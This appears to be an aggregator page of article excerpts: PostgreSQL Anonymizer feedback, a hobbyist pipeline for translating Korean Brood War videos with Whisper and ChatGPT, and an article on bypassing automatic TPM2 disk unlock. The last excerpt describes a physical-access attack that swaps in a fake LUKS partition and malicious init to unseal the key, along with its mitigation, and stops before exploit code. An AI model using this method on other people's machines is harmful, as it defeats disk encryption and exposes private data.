Thanks to PostgreSQL Anonymizer we were able to de­fine com­plex mask­ing rules in or­der to im­ple­ment full pseu­do­nymiza­tion of our data­bases with­out los­ing func­tion­al­ity. Testing on re­al­is­tic data while guar­an­tee­ing the con­fi­den­tial­ity of pa­tient data is a key point to im­prove the ro­bust­ness of our func­tion­al­i­ties and the qual­ity of our cus­tomer ser­vice.

I just dis­cov­ered your post­gresql_anonymizer ex­ten­sion and used it at my com­pany for anonymiz­ing our user for lo­cal de­vel­op­ment. Nice work!

If this ex­ten­sion is use­ful to you, please let us know !

We need your feed­back and ideas ! Let us know what you think of this tool, how it fits your needs and what fea­tures are miss­ing.

You can ei­ther open an is­sue or send a mes­sage at con­tact@dal­ibo.com.

...

Read the original on postgresql-anonymizer.readthedocs.io »

9 187 shares, 34 trendiness

Brood War Korean Translations

As work slowed down dur­ing the last cou­ple of weeks of 2024, I de­cided to redi­rect some of my en­ergy to hob­bies in­stead of work. One such hobby is StarCraft: Brood War (or BW for short), a clas­sic, highly com­pet­i­tive RTS from 98 that still has an ac­tive com­mu­nity to­day. Over those cou­ple of weeks, I was able to make great progress in solv­ing a decades-old prob­lem in the BW com­mu­nity, us­ing a mix of LLMs and free (gratis*) soft­ware.Un­der­stand­ing the cul­tural con­text BW ex­ists in is cru­cial to un­der­stand the rest of this post. High-level BW is — for all in­tents and pur­poses — a Korean game. The over­whelm­ing ma­jor­ity of pro­fes­sional play­ers, teams, and tour­na­ments (as well as most of the pas­sion­ate au­di­ence and com­mu­nity) are based in Korea, and have been for 20+ years. This is so in­grained in the BW cul­ture that us mem­bers of the com­mu­nity who are not Korean call our­selves foreigners,” a slightly self-con­de­scend­ing term.Sim­i­larly to chess, BW is a game of strat­egy with a long his­tory of recorded games. As such, play­ing the game is only half the chal­lenge; study­ing it just as im­por­tant (especially at higher lev­els of play). For decades, the BW com­mu­nity (both Korean and for­eigner) has watched and an­a­lyzed pro­fes­sional matches from years past and de­rived valu­able strate­gic in­sights from them. Note: given the na­ture of BW as a video game, much of the mod­ern dis­course takes place in videos and live streams pub­lished by pro­fes­sional BW play­ers.Con­tin­u­ing to use chess as an anal­ogy, you might know that chess open­ers are col­lec­tions of well-stud­ied first moves for chess. The in­ter­ac­tions be­tween white-piece open­ers and black-piece open­ers have been an­a­lyzed for decades (centuries?), and their study is con­sid­ered fun­da­men­tal for be­gin­ner and in­ter­me­di­ate chess play­ers. The only as­pect of these open­ers you need to fo­cus on for this post is how these open­ers shape the lan­guage used by the chess com­mu­nity. Terms like Sicilian de­fense”, and its Najdork vari­a­tion”, Dragon vari­a­tion”, or Accelerated Dragon vari­a­tion” are all com­mu­nity-de­vel­oped names. None of these terms are writ­ten in the rules of chess. They are part of a do­main-spe­cific lan­guage the com­mu­nity it­self has de­vel­oped, con­dens­ing and com­mu­ni­cat­ing the afore­men­tioned decades of study and analy­sis ef­fec­tively.This as­so­ci­a­tion of lan­guage and his­tory, com­bined with the great di­vide be­tween the Koreans and foreigners,” leads us to what is com­monly called the Foreigner Knowledge prob­lem.Very few of mem­bers of the for­eigner com­mu­nity are flu­ent in Korean. Foreigner ac­cess to Korean BW dis­course is a con­tra­dict­ing con­cept: if you speak Korean flu­ently, you have no rea­son to be in the for­eigner com­mu­nity, as it only has ac­cess to ma­te­r­ial that is strictly in­fe­rior and more lim­ited. For this rea­son, Korean-speaking mem­bers in the for­eigner com­mu­nity are ex­ceed­ingly rare.In an ef­fort to gain ac­cess to the Korean dis­course, we have crowd­funded money to pay these (acquiescing) Korean-speaking for­eign­ers to trans­late the sub­ti­tles of YouTube videos. Everyone in­volved knows the trans­la­tion work is tax­ing and slow, and that the pay is ob­jec­tively ter­ri­ble. Nevertheless, this ap­proach has af­forded the com­mu­nity a few dozen videos a year to be trans­lated.As an al­ter­na­tive, we have re­lied on ma­chine trans­la­tion of text con­tent in­stead. While ma­chine trans­la­tion tools like Google Translate are good at trans­lat­ing every­day sen­tences, they are ill-suited for do­main-spe­cific lan­guages, as they are full of jar­gon to which the trans­la­tion tool has not been ex­posed. To add in­sult to in­jury, trans­lat­ing such jar­gon lit­er­ally is ac­tu­ally counter-pro­duc­tive.To il­lus­trate this, here’s an ex­cerpt of the sub­ti­tles from a Korean video tu­to­r­ial, about the BW-equivalent of an opener (called a build or­der, or sim­ply build):And here is the Google Translate ver­sion:Hello, to­day’s lec­ture is about the 12 court­yard build. I will briefly but in de­tail ex­plain the types, pros and cons of the 12 court­yard, and the build or­der. In the Toss match, it is the build used when you want to start the most af­flu­ently. In the Terran match, there are var­i­ous builds that can be done with the 12 court­yard. So I will tell you about some of the most used builds. The first is the two-pro­cess­ing build, which starts with the 12 court­yard. 12 court­yard 11 spawn­ing pool 10 gas Now, this is a build that uti­lizes fast gas. This build is of­ten used when play­ing with the two-pro­cess­ing build while quickly bring­ing the 3-processing to the 3-gas multi. The sec­ond is the 12 pres­sure 12 pool 12 gas mod­er­ately fast tech tree and mod­er­ately fast 3-processing build. 12 pres­sure 12 gas mod­er­ately fast tech tree and mod­er­ately fast 3-processing build. In the case of this build, many peo­ple talk about it as a build that is fast at both Mutalisk and 3-point pro­cess­ing.You might be con­fused if you are not a BW player. Consider your­self lucky, be­cause I promise you you’d be flab­ber­gasted if you did play the game.Any­one fa­mil­iar with BW will tell you that trans­la­tion’s sig­nal-to-noise ra­tio is well be­low 1/9000. There are no courtyards” in BW. Starting off the most af­flu­ently” is an awk­ward and ver­bose way to say this is an eco­nomic opener/​build.” What the hell is a 3-point pro­cess­ing”?!Sure, there are a few other rec­og­niz­able… ut­ter­ances, such as Toss” (Protoss), build”, fast gas”, moderately fast tech-tree” and Terran” — but the over­whelm­ing ma­jor­ity of it has been trans­lated lit­er­ally and is noth­ing but noise, de­stroy­ing any con­text that might have re­deemed those few rec­og­niz­able bits.The com­bi­na­tion of poor au­to­matic sub­ti­tles and lit­er­ally-trans­lated jar­gon has caused the Foreigner com­mu­nity to lag be­hind the Korean com­mu­nity for decades.This is what we are now able to achieve with my new ma­chine trans­la­tion process:Hello, to­day’s lec­ture will cover the 12 Natural build. I’ll ex­plain the types, pros, and cons of the 12 Natural build and pro­vide a sim­ple yet de­tailed build or­der. This build is used when you want to start the most eco­nom­i­cally against Protoss. Against Terran, there are mul­ti­ple builds you can use with the 12 Natural. I’ll go over some of the most pop­u­lar ones. The first one is the two-Hatch­ery build. Starting with the 12 Natural al­lows for the most eco­nom­i­cally strong open­ing. The 12 Natural goes with an 11 Spawning Pool and a 10 Gas. This is a build uti­liz­ing fast gas. It’s of­ten used to play with a quick third Hatchery and three gas ex­pan­sions when do­ing the two-Hatch­ery build. The sec­ond is the 12 Hatch, 12 Pool, 12 Gas. It’s a bal­anced build with a mod­er­ate tech tree and a mod­er­ately fast third Hatchery. First, I’ll briefly talk about a quick de­fense build strat­egy. Next, we’ll dis­cuss how you can man­age re­sources op­ti­mally for this setup and han­dle tran­si­tions smoothly. Though there are risks, it al­lows for a sta­ble and dy­namic ap­proach in longer games. Even for non-play­ers, the above trans­la­tion should be much more rea­son­able than the pre­vi­ous Google Translate ver­sion. For BW play­ers, it is im­me­di­ately clear what the video is about. While this is by no means a per­fect trans­la­tion (there are im­prove­ments to be made, as will be noted in the footer of this post), the sig­nal-to-noise ra­tio has been dra­mat­i­cally re­duced.Fur­ther­more, in con­trast to the pre­vi­ous pace of a few dozen videos a year, I ended up trans­lat­ing about 7 videos in a sin­gle day. As a sin­gle per­son. During my spare time.The least I can say is: from now on, this is the worst this will ever be!The process is di­vided into two parts: pro­duc­ing sub­ti­tles, and con­sum­ing sub­ti­tles. The production” part is aimed at mem­bers of the com­mu­nity who are up to date with the Korean con­tent, and know which videos should be pri­or­i­tized. The consumption” part is aimed at every­one else who sim­ply want to watch the trans­lated videos.I ini­tially used yt-dlp to down­load YouTube’s au­to­matic Korean sub­ti­tles to try and trans­late them. As shown above, though, they are use­less. So in­stead of down­load­ing the sub­ti­tles, I use yt-dlp to down­load the au­dio track of the videos.With the au­dio tracks down­loaded, I tran­scribed my own sub­ti­tles from them us­ing Whisper. I am not sure why, but tran­scrib­ing the Korean sub­ti­tles us­ing AI (rather than what­ever it is YouTube uses) pro­vided much more clean and com­plete re­sults. It also seems to do a bet­ter job of ig­nor­ing in-game sounds and other noise (such as mouse clicks).When I first started de­vel­op­ing this process, I was run­ning Whisper lo­cally, us­ing ~10GB of VRAM. I quickly saw that this would be far too re­stric­tive if I wanted to have oth­ers col­lab­o­ra­tors trans­lat­ing (install Python on Windows, cre­ate a venv, in­stall CUDA, in­stall git…). So, I de­cided to find an al­ter­na­tive.Whis­per is in­stalled through Python’s pip, and Google Colab is not just a free Jupyter note­book ser­vice — it also of­fers free GPUs, which hap­pen to have just enough VRAM to run Whisper!Creating a note­book and shar­ing a pa­ra­me­ter­ized, read-only ver­sion of it was an ideal dis­tri­b­u­tion model for this kind of work. With a lit­tle doc­u­men­ta­tion, it al­lowed non-tech­ni­cal peo­ple to run it ef­fort­lessly, no mat­ter their hard­ware. Furthermore, I could up­date the note­book with fea­tures (aka bugs), and peo­ple would re­ceive those up­dates au­to­mat­i­cally (ie. mak­ing it even more ac­ces­si­ble, no git cloning, no con­stant down­loads).The note­book I cre­ated re­ceives one pa­ra­me­ter — the YouTube URL — and gen­er­ates+down­loads an SRT file in Korean.All of this was neat, but I still had­n’t done the fun­da­men­tal work of trans­lat­ing from Korean to English.To say that this en­tire pro­ject stands on the shoul­ders of gi­ants would be an un­der­state­ment.TeamLiq­uid (TL) is the longest, old­est for­eigner (or at least, amer­i­can) BW com­mu­nity. As it turns out, some­time around 15 years ago, one TL mem­ber called kon­adora cre­ated a fo­rum post with a dic­tio­nary of BW slang used by com­men­ta­tors.” I copied the post into a sim­ple mark­down file, KoreanSlang.txt, and pro­vided it to the mod­ern er­a’s fa­vorite piece of tech­nol­ogy: an LLM!Despite the mul­ti­ple (and mul­ti­ply­ing) mis­uses of LLMs, this prob­lem was fun­da­men­tally a lan­guage prob­lem, which is a per­fect use of LLMs.I will give you sub­ti­tles for you to trans­late from Korean to English, us­ing the KoreanSlang.txt” file for sup­port. Always con­sider that the con­tent you are trans­lat­ing ex­ists within the con­text of Starcraft: Brood War. Feel free to adapt the trans­la­tion, as clar­ity is more im­por­tant than a lit­eral trans­la­tion. Always re­spect the time­stamps and the file for­mat­ting, but feel free to cor­rect du­pli­cate sub­ti­tles or ob­vi­ous mis­takes. Short translator notes” may be wel­come if ap­pro­pri­ate (embedded as sub­ti­tles). Do not add quo­ta­tion marks if they were not pre­sent orig­i­nally. Some of the sub­ti­tles may have some noise or er­rors; please re­place them with (unintelligible)” if you find them. Format the out­put as code (ie. sur­rounded by triple back-ticks) for eas­ier copy-past­ing.And a Pro (Premium? Plus? who knows) ChatGPT ac­count, it was a sim­ple mat­ter of pro­vid­ing the Korean sub­ti­tles gen­er­ated by Whisper, and ask­ing it to trans­late its con­tents.At first, I sim­ply took trans­lated sub­ti­tles, down­loaded the cor­re­spond­ing video, and ap­plied them us­ing my lo­cal video player —  which meant that, once again, I had to fig­ure out a way to make these sub­ti­tles ac­ces­si­ble to oth­ers.Note: No al­tru­ism or as­pi­ra­tion for good prod­uct de­sign played a part in this. My ISP im­poses a data cap, and charges me dou­ble if I ever ex­ceed it — so down­load­ing videos left and right was not an op­tion! >:(A big con­sid­er­a­tion is that YouTube has its own sub­ti­tles fea­ture, but only the video owner can set or up­date a video’s sub­ti­tles. Wanting to avoid the whole down­load, re-up­load, set sub­ti­tle work cy­cle, I de­cided to build a so­lu­tion that was ac­ces­si­ble and saved me time (and band­width).I wrote a UserScript that adds a but­ton to YouTube videos, and down­loads the cor­re­spond­ing trans­lated sub­ti­tles if they ex­ist. It is able to parse SRT and VTT files, and shows them in a tiny lit­tle con­tainer be­low the YouTube player.It looks like a but­ton straight from Web 1.0, and I love it. I call it the BWKT Client.And, well… the men­tion of a Client im­plies the ex­is­tence of a Server.Subtitles are fun­da­men­tally text files, and I needed a quick and easy way to share text files. Pastebin im­me­di­ately came to mind as a po­ten­tial can­di­date, if only for the proof-of-con­cept. It is sim­ple to use, I have a pre­mium ac­count for it, and I did not (and still do not) ex­pect traf­fic to be a con­cern in any way.Note: there is noth­ing more per­ma­nent than a tem­po­rary so­lu­tion.All I need is two columns: YouTube URL, and Subtitle URL (and maybe a third col­umn, Language, but that’s for later). Using Google Sheets as a data­base is ideal for this use case, as it is ex­tremely easy to man­u­ally in­spect and up­date, and it is also triv­ial to share with oth­ers. The cherry on top is Google’s Apps Script, which is ba­si­cally a JavaScript run­time that has first-party ac­cess to Google Workspace, which in­cludes Google Sheets; and it has a built-in web server to boot!It was lit­er­ally a mat­ter of writ­ing func­tion do­Get(req) { /* … */ } , which re­ceives a YouTube video ID (the eleven-char­ac­ter iden­ti­fier at the end of https://​youtube.com?v=XXXXXXXXXXX), and re­turns the cor­re­spond­ing paste­bin URL.There are cer­tainly im­prove­ments to be made. I still see this pro­ject as a hacked-to­gether con­trap­tion built over the course of two weeks, with a bud­get of ~$30 USD (I paid for ChatGPT and more GPU time in Colab, nei­ther of which are strictly re­quired but were nice to have).One such im­prove­ment is sup­port­ing mul­ti­ple lan­guages in the UserScript. After all, the Foreigner com­mu­nity com­prises not just American play­ers, but also Mexican, Polish, Romanian, Chinese, Taiwanese — there’s dozens of lan­guages that these videos could be trans­lated to, and it would take only a small amount of ef­fort to do.There are tech­ni­cal im­prove­ments to be made as well. For ex­am­ple: right now, the BWKT Client shows the but­ton be­low every YouTube video, even if sub­ti­tles are not avail­able for that par­tic­u­lar video. I could (should?) add an­other end­point to the AppsScript web server that re­turns an in­dex of trans­lated videos, and then the ex­ten­sion could show/​hide the but­ton ap­pro­pri­ately.Note: Speaking of which, here is the pub­lic-fac­ing, read-only data­base!Af­ter all was said and done, I reached out to a few fel­low BW en­joy­ers to put the sub­ti­tles to the test. The in­ten­tion was to judge the qual­ity of the trans­la­tion process and to see if the sub­ti­tles worked well on YouTube. We hopped on a Voice Chat, I streamed my screen, and we started watch­ing a 13-minute long video.About 5 min­utes in, I had to pause the video and take a step back. As it turns out, the group had been watch­ing the video, and read­ing the sub­ti­tles, yes — but we also had been mak­ing com­ments among our­selves, re­play­ing short clips from the video, paus­ing it to dis­cuss… and in the mid­dle of it all, we had for­got­ten what we were orig­i­nally try­ing to do: eval­u­at­ing the qual­ity of the sub­ti­tles.Need­less to say, the sub­ti­tles passed the test. :)One sneaky as­pect of this pro­ject that worked well in my fa­vor is that per­for­mance is not crit­i­cal, nor is scale, or la­tency, or any­thing else that most soft­ware pro­jects of­ten deal with. Most of what I did was glue al­ready-ex­ist­ing so­lu­tions to­gether. The cus­tom busi­ness logic (the UserScript, and the Python code in the Colab note­book) is short, and ef­fort­lessly main­tain­able. The web server is the sim­plest pro­duc­tion CRUD sys­tem ever, and I see no rea­son for it to ever grow in com­plex­ity in any sig­nif­i­cant way.It’s the janki­est pro­ject I have shipped, and I love it.

As is in­evitable, I al­ready shot my­self in the foot, caus­ing a build er­ror on all pro­jects si­mul­ta­ne­ously. Fortunately, I was able to di­ag­nose the is­sue and ul­ti­mately fix it in ~1 hour, with no prior knowl­edge what­so­ever.

Context

I cloned the pro­ject repo, in­stalled Visual Studio 2013, and reg­is­tered

Here is the list of all re­sources I will be us­ing.

Software

While Linux is my OS of choice for de­vel­op­ment, it is only ex­per­i­men­tally sup­ported, not of­fi­cially so. Furthermore, the SDK must have been de­vel­oped in Windows (for Windows) orig­i­nally, which gives me con­fi­dence in get­ting it in­stalled and

This blog doc­u­ments my jour­ney learn­ing how to build a game us­ing VALVe’s Source Engine.

About this blog

My goals with this jour­ney are:

1. To spend the next year us­ing Source reg­u­larly (at least once a week); 2. To doc­u­ment all the prob­lems and their cor­re­spond­ing so­lu­tions,

...

Read the original on blog.sourcedive.net »

10 178 shares, 9 trendiness

Bypassing disk encryption on systems with automatic TPM2 unlock

Have you setup au­to­matic disk un­lock­ing with TPM2 and

sys­temd-crypten­roll or cle­vis? Then chances are high that your disk can be de­crypted by an at­tacker who just has brief phys­i­cal ac­cess to your ma­chine - with some prepa­ra­tion, 10 min­utes will suf­fice. In this ar­ti­cle we will ex­plore how TPM2 based disk de­cryp­tion works, and un­der­stand why many se­tups are vul­ner­a­ble to a kind of filesys­tem con­fu­sion at­tack. We will fol­low along by ex­ploit­ing two dif­fer­ent real sys­tems (Fedora + cle­vis, NixOS + sys­temd-crypten­roll).# Examples com­mands used to en­roll a key into the TPM. Whether your sys­tem is # suf­fers from this is­sue does not de­pend on which PCRs you choose here. sys­temd-crypten­roll –tpm2-pcrs=0+2+7 –tpm2-device=auto

TL;DR: Most TPM2 un­lock se­tups fail to ver­ify the LUKS iden­tity of the de­crypted par­ti­tion. Since the ini­trd must re­side in an un­en­crypted boot par­ti­tion, an at­tacker can in­spect it to learn how it de­crypts the disk and also what type of filesys­tem it ex­pects to find in­side. By recre­at­ing the LUKS par­ti­tion with a known key, we can con­fuse the ini­trd into ex­e­cut­ing a ma­li­cious

init ex­e­cutable. Since the TPM state will not be al­tered in any way by this fake par­ti­tion, the orig­i­nal LUKS key can be un­sealed from the TPM. Afterwards, the ini­tial disk state can be fully re­stored and then de­crypted us­ing the ob­tained key.

You are safe if you ad­di­tion­ally use a pin to un­lock your TPM, or use an ini­trd that prop­erly as­serts the LUKS iden­tity (which would in­volve man­ual work, so you’d prob­a­bly know if that is the case).

The idea be­hind se­cure and pass­word-less disk de­cryp­tion is that the TPM2 can store an ad­di­tional LUKS key which your sys­tem can only re­trieve, if the TPM is in a pre­de­ter­mined, known-good state. This state is recorded in the so-called Platform Configuration Registers (PCRs), of which there are 24 in a stan­dard com­pli­ant TPM. Their in­tended use is de­scribed in the Linux TPM PCR Registry but also neatly sum­ma­rized as a table in the sys­temd-crypten­roll(1) man page.

These reg­is­ters store hashes which are suc­ces­sively up­dated while boot­ing based on in­for­ma­tion like the boot­laoder hash, the firmware in use, the booted ker­nel, ini­trd im­age and a lot more things. By es­tab­lish­ing a chain of trust through all com­po­nents in­volved in boot­ing up to the linux user­space, we can en­sure that al­ter­ing any com­po­nent will af­fect one or sev­eral PCRs. Storing data in the TPM re­quires you to se­lect a list of PCRs and it will en­sure that the data can only be re­trieved again if all of these PCRs are in the same state as when en­rolling the se­cret.

Several of these reg­is­ters have an agreed-upon pur­pose and are up­dated with some spe­cific in­for­ma­tion about your sys­tem, such as your board’s firmware, your BIOS con­fig­u­ra­tion, OptionROMs (extra firmware loaded from ex­ter­nal de­vices such as PCIe de­vices af­ter POST), the se­cure boot pol­icy, or other things. Here’s an ex­cerpt from the man page from above con­tain­ing some of the reg­is­ters that are im­por­tant to us:Ex­pla­na­tion­Se­cure Boot state; changes when UEFI SecureBoot mode is

en­abled/​dis­abled, or firmware cer­tifi­cates (PK, KEK, db, dbx, …)

changes.sys­temd-crypt­setup(8) op­tion­ally mea­sures the vol­ume key of

ac­ti­vated LUKS vol­umes into this PCR. sys­temd-pcr­ma­chine.ser­vice(8)

mea­sures the ma­chine-id(5) into this PCR. sys­temd-pcrfs@.ser­vice(8)

mea­sures mount points, file sys­tem UUIDs, la­bels, par­ti­tion UUIDs

of the root and /var/ filesys­tems into this PCR.

Below this list, an in­ter­est­ing piece of in­for­ma­tion is given in the man page about the in­tended use of PCRs for en­crypted vol­umes:In gen­eral, en­crypted vol­umes would be bound to some com­bi­na­tion of PCRs 7, 11, and 14 (if shim/​MOK is used). In or­der to al­low firmware and OS ver­sion up­dates, it is typ­i­cally not ad­vis­able to use PCRs such as 0 and 2, since the pro­gram code they cover should al­ready be cov­ered in­di­rectly through the cer­tifi­cates mea­sured into PCR 7. Validation through cer­tifi­cates hashes is typ­i­cally prefer­able over val­i­da­tion through di­rect mea­sure­ments as it is less brit­tle in con­text of OS/firmware up­dates: the mea­sure­ments will change on every up­date, but sig­na­tures should re­main un­changed. See the Linux TPM PCR Registry for more dis­cus­sion.

If you en­roll your own se­cure boot keys and use a Unified Kernel Image (UKI), then us­ing just PCR 7 will be suf­fi­cient to en­sure in­tegrity up to the point where we need to un­lock our disk. Some dis­tri­b­u­tions in­stead ship EFI ex­e­cuta­bles that are pre-signed with the Microsoft keys, which al­lows them to en­able se­cure boot by de­fault with­out re­quir­ing the user to gen­er­ate and en­roll any­thing on their own. Since this also means that the user can­not sign their ker­nel and/​or ini­trd im­age, a trusted and pre-signed shim is of­ten used to mea­sure the hash of the ker­nel and ini­trd be­fore ex­e­cut­ing them into PCR 9, which we would want to use in that case. Another ap­proach is to have the user gen­er­ate a so-called Machine Owner Key (MOK) if they want to sign some­thing, in which case PCR 14 should be used, too.

So the ex­act PCR se­lec­tion may change a bit de­pend­ing on the user’s setup. A quick search on GitHub or on the in­ter­net re­veals that many peo­ple still opt to use ad­di­tional PCRs like 0 and 2 in ad­di­tion to 7, which is of course fine but may re­sult in keys be­com­ing in­ac­ces­si­ble when the BIOS or some firmware is up­dated - which can be an­noy­ing.

If you al­ready have se­cure boot set up, con­fig­ur­ing TPM2 un­lock for your LUKS par­ti­tion is usu­ally very sim­ple. Most guides will re­sort to sys­temd-crypten­roll or cle­vis

which are dif­fer­ent im­ple­men­ta­tions that in­ter­nally do some vari­a­tion of the fol­low­ing:Seal this key in your TPM based on your se­lec­tion of PCRsStore the en­crypted TPM con­text in the LUKS to­ken meta­data

which is re­quired to un­seal the se­cret at a later point in

time

Both cle­vis and sys­temd-crypten­roll

can store to­kens in other ways than a TPM2, for ex­am­ple us­ing a FIDO2 key. I found that cle­vis also sup­ports re­triev­ing to­kens from net­work re­sources, but other than that the two tools are very sim­i­lar in what they do.

sys­temd-crypten­roll just comes pre-pack­aged with

sys­temd so it is usu­ally a bit sim­pler to use. Here is an ex­am­ple:sys­temd-crypten­roll –tpm2-pcrs=7 –tpm2-device=auto /dev/nvme0n1p3

In the­ory, the disk is now prop­erly pro­tected, as­sum­ing the ker­nel com­mand line can­not be edited, right? It can only be de­crypted if PCR 7 is un­changed, and any­thing we would do to the boot­loader, ker­nel or ini­trd would af­fect PCR 7.

Well, of course, I would­n’t be ask­ing if there was­n’t a tiny caveat: Assuming all disks were mounted prop­erly, the ini­trd can be cer­tain that no code has been mod­i­fied up to this point. But it does not au­to­mat­i­cally en­sure that the data on them is au­then­tic. As the very last step, the ini­trd will ex­e­cute the

init ex­e­cutable of the real sys­tem, which usu­ally does­n’t un­dergo any kind of sig­na­ture check be­fore it is ex­e­cuted. And why would it have to - af­ter all it is part of the en­crypted root par­ti­tion which can­not be al­tered by an at­tacker.

First of all, it is im­por­tant to know that the ini­trd will fall back to a pass­word prompt, if TPM un­lock­ing fails for what­ever rea­son. A BIOS up­date could al­ways cause the se­cure boot data­base to be al­tered (thus in­val­i­dat­ing PCR 7), or some­body makes a mis­take when up­dat­ing the sys­tem and for­gets to sign the ker­nel and ini­trd prop­erly. In such a case you don’t want to be locked out from your sys­tem com­pletely, so ask­ing for the pass­word is a sane thing to do.

But that also means if we re­place the en­crypted par­ti­tion with a new LUKS par­ti­tion (for which we choose the pass­word), then the TPM de­cryp­tion will fail and we will be asked for the pass­word, which we con­trol. After en­ter­ing the pass­word, the ini­trd will now think it has de­crypted the par­ti­tion cor­rectly and pro­ceed. If we man­age to put the cor­rect kind of filesys­tem in­side of our fake LUKS par­ti­tion so that the ac­tual mount­ing suc­ceeds, we can ship a ma­li­cious init bi­nary that now has full ac­cess to the un­locked TPM, thus al­low­ing us to de­crypt the orig­i­nal filesys­tem, which we would have to backup be­fore cre­at­ing our ma­li­cious par­ti­tion.

Now you might think the ini­trd can sim­ply ver­ify the filesys­tem UUID be­fore mount­ing it since we can­not read it from the disk, but re­mem­ber that any­thing the ini­trd knows is pub­lic knowl­edge, as the boot par­ti­tion and ini­trd im­age are not en­crypted. So we can just reuse the same LUKS UUID and filesys­tem UUID if nec­es­sary.

To solve this, we need to be able to au­then­ti­cate all en­crypted vol­umes be­fore ac­cess­ing any file on them. In this

ar­ti­cle by Lennart Poettering from October 2022, where he de­scribes the state of se­cure boot in sys­temd, he men­tions how the process should look like to make the sys­tem se­cure. It is a bit in­volved so let me re­it­er­ate the im­por­tant part.

After a disk has been un­locked, we want to de­rive a value from its vol­ume key (the mas­ter key used to en­crypt all its data) and use this value to ex­tend PCR 15. This en­sures that any fake vol­ume would change this value since the orig­i­nal vol­ume key can­not be known. Using sys­temd-crypt­setup in­stead of

crypt­setup can al­ready take care of this by adding

tpm2-mea­sure-pcr=yes to the crypt­tab file.

If we now en­sure that the disk de­cryp­tion or­der is de­ter­min­is­tic, then we can com­pare the value in PCR 15 against a known and signed value in the ini­trd. If the wrong value is ob­served, the ini­trd can now abort the boot process be­fore ex­e­cut­ing any­thing ma­li­cious.

There are loads of guides that de­scribe in more de­tail how to setup TPM2 based disk un­lock­ing, and while the con­cept is al­ways the same, you will cer­tainly find one ad­justed to your fa­vorite dis­tri­b­u­tion. Here’s a list of guides that I found on­line, sorted by date:[HowTo] Using Secure Boot and TPM2 to un­lock LUKS par­ti­tion on

boot (2024/01, Manjaro, sys­temd-crypten­roll)The

ul­ti­mate guide to Full Disk Encryption with TPM and Secure Boot

(2022/04, Debian, tpm2-initramfs-tool)

Unfortunately, I did not find any guide that ad­dresses this, so most user se­tups are prob­a­bly suf­fer­ing from this is­sue. Though in all fair­ness, whether this is an is­sue to you ob­vi­ously de­pends on your threat model. If you are us­ing the TPM just to un­lock your home server which no­body else has phys­i­cal ac­cess to, then maybe this is a non-is­sue to you. But if you use this to pro­tect the data on your lap­top against theft, then chances are you want to set a TPM pin or im­ple­ment PCR 15 ver­i­fi­ca­tion as ex­plained above.

Notably, I found that the ArchWiki en­try of sys­temd-crypten­roll

ac­knowl­edges this is­sue in a warn­ing near the end of the ar­ti­cle:Only bind­ing to PCRs mea­sured pre-boot (PCRs 0-7) opens a vul­ner­a­bil­ity from rogue op­er­at­ing sys­tems. A rogue par­ti­tion with meta­data copied from the real root filesys­tem (such as par­ti­tion UUID) can mimic the orig­i­nal par­ti­tion. Then, initramfs will at­tempt to mount the rogue par­ti­tion as the root filesys­tem (decryption fail­ure will fall back to pass­word en­try), leav­ing pre-boot PCRs un­changed. The rogue root filesys­tem with files con­trolled by an at­tacker is still able to re­ceive the de­cryp­tion key for the real root par­ti­tion. See Brave New Trusted Boot World and BitLocker doc­u­men­ta­tion for ad­di­tional in­for­ma­tion.

And while this is cor­rect, just us­ing any of the PCRs 8-23 does­n’t au­to­mat­i­cally pro­tect your data ei­ther. The ini­trd still has to en­sure that the re­spec­tive PCR is changed be­fore ex­e­cut­ing the sys­tem’s init bi­nary, which is not done by de­fault.

Now, let’s have a look at a real sys­tem which we will setup in a sim­i­lar way to how any­one else would have done it. I’ve picked one of the Fedora ar­ti­cles above, but you can ex­pect this to work for all of the other dis­tri­b­u­tions, too. In sum­mary, my setup in­cluded the fol­low­ing steps:En­able se­cure boot in the BIOS (and in­stall the Microsoft keys

since Fedora is signed with those keys)

An in­ter­est­ing thing we no­tice right away is that the Fedora boot­loader is signed us­ing the Microsoft keys. We’ve al­ready briefly talked about this in the be­gin­ning, this means it can­not sign the ini­trd at all. Instead, they have a signed shim that is ex­e­cuted af­ter the boot­loader which will cal­cu­late hashes of the ker­nel and ini­trd and ex­tend PCR 9 with those val­ues. Therefore, it is crit­i­cal that we now in­clude PCR 9 in our se­lec­tion when en­rolling the key to the TPM, oth­er­wise the ini­trd could just be mod­i­fied.

This ap­proach has the ad­van­tage that the user does­n’t have to deal with cus­tom se­cure boot keys, but the down­side is that every ker­nel or ini­trd up­date will af­fect the value in PCR 9, thus re­quir­ing us to re-en­roll the key af­ter re­boot­ing on each sys­tem up­date. Here is a snap­shot of my PCRs when I en­rolled the key into the TPM. This is also the state that we need to reach later to suc­ceed.[root@lo­cal­host]# sys­temd-an­a­lyze pcrs NR NAME SHA256 0 plat­form-code 8c2af609e626cc1687f66ea6d0e1a3605a949319514a26e7e1a90d6a35646fa5 1 plat­form-con­fig 299b0462537a9505f6c63672b76a3502373c8934f08a921e1aa50d3adf4ba83d 2 ex­ter­nal-code 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969 3 ex­ter­nal-con­fig 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969 4 boot-loader-code 5fdbd66c267bd9513dbc569db0b389a37445e1aa463f9325ea921563e7fb37eb 5 boot-loader-con­fig 38a281376260137602e5c70f7a9057e4c55830d22a02bb5a66013d6ac2576d2f 6 host-plat­form 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969 7 se­cure-boot-pol­icy 4770a4fb1dac716feaddd77fec9a28bb2015e809a34add1a9d417eec36ec1e17 8 - e3e23c0­da36­fa31767885aec7aee3180f­b2f5e0b67569c3a82c2a1c3­ca88a651 9 ker­nel-ini­trd 091f6917b0c8788779f4d410046250e6747043a8cd1bd75bf90713cc6de30d99 10 ima 2566bdf57c3aa880f7b0c480f479c0a88e0e72ae7ef3c1888035e7238bbe9257 11 ker­nel-boot 0000000000000000000000000000000000000000000000000000000000000000 12 ker­nel-con­fig 0000000000000000000000000000000000000000000000000000000000000000 13 sy­sexts 0000000000000000000000000000000000000000000000000000000000000000 14 shim-pol­icy 17cdefd9548f4383b67a37a901673bf3c8ded6f619d36c8007562de1d93c81cc 15 sys­tem-iden­tity 0000000000000000000000000000000000000000000000000000000000000000 16 de­bug 0000000000000000000000000000000000000000000000000000000000000000 17 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 18 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 19 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 20 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 21 - 